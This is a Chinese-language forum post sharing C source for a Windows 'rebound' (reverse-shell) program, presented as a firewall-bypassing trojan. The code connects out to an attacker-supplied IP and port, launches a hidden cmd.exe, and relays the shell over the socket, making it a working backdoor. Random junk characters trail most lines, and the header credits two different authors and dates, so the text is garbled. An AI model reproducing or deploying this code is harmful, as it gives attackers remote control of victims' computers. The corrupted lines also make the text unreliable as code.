这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 1RtbQ{2F;
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/* ============================== ,$,6%"'"
Rebound port in Windows NT 29?{QJb
By wind,2006/7 /x6,"M[97
===============================*/ NU*6MT4
#include 6'e}!O
#include "%aJ'l2
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#pragma comment(lib,"wsock32.lib") +jFcq:`#UG
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void OutputShell(); F*F
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SOCKET sClient; /5@V $c8
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :QnN7&j|(w
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void main(int argc,char **argv) _|x b)_
{ 9=D\xBd|w
WSADATA stWsaData; pJ6Z/3]
int nRet; a;Q6S
SOCKADDR_IN stSaiClient,stSaiServer;
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if(argc != 3) Y~T;{&wi
{ K .cMuh
printf("Useage:\n\rRebound DestIP DestPort\n"); slV+2b
return; n"dC]&G'
} 5FJ<y"<6
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WSAStartup(MAKEWORD(2,2),&stWsaData); :7t~p&J
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M`$s
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stSaiClient.sin_family = AF_INET; P1b5=/}:V
stSaiClient.sin_port = htons(0); vMsb@@O\ \
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \gRX:i#n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >!|Hns
{ (yv&&Jc
printf("Bind Socket Failed!\n"); O_#Ag K<A
return; LL+ROX^M
} >A#wvQl7
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stSaiServer.sin_family = AF_INET; nz:I\yA
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); `<Xq@\H
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #`5{?2gS9
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `1F[.DdF
{ >&mlwxqv
printf("Connect Error!"); cB
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return; iN0gvjZ
} ] Cpd`}'
OutputShell(); MP\$_;&xB
} I"4j152P|
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void OutputShell() |:SBkM,
{ 1;<J] S$$
char szBuff[1024]; T8 k@DS
SECURITY_ATTRIBUTES stSecurityAttributes; u+eA>{
OSVERSIONINFO stOsversionInfo; 7a Fvj
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zhbp"yju7
STARTUPINFO stStartupInfo; 9WsPBzi"T
char *szShell; $d
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PROCESS_INFORMATION stProcessInformation; [vkz<sL"
unsigned long lBytesRead;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s7IaU|m
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); L;=:OX0
stSecurityAttributes.lpSecurityDescriptor = 0; 1>OfJc(K
stSecurityAttributes.bInheritHandle = TRUE; $Scb8<
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aJlSIw*Q,
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Be+CV">2
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |'WaBy1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +U9Gj#
stStartupInfo.wShowWindow = SW_HIDE; DTrS9j?z
stStartupInfo.hStdInput = hReadPipe; n*G[ZW*Uc
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2Q`@lTUv
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GetVersionEx(&stOsversionInfo); Bi9b"*LN
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switch(stOsversionInfo.dwPlatformId) |?6r&bT
{ il `O*6-
case 1: XQ&iV7
szShell = "command.com"; %pmowo~{
break; 5inmFT?9Z
default: Q.Hy"~
szShell = "cmd.exe"; nYG$V)iCb
break; dg/OjiD[P
} 4Y5Q>2D}
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ',k0_n?t
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send(sClient,szMsg,77,0); :nYl]Rm
while(1) }R:e[lKj
{ ^& ZlV
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ab8uY.j
if(lBytesRead) *[jG^w0z8~
{ ]Ln2|$R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);
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send(sClient,szBuff,lBytesRead,0); WmTSxneo
} rD)yEuYX
else 8MgoAX,p
{ )tGeQXVhbJ
lBytesRead=recv(sClient,szBuff,1024,0); u"r~5
if(lBytesRead<=0) break; pOQ'k>!
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sJ)XoK syW
} ''S*B|:
} 4`5 jq)
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return; AVyO5>w
}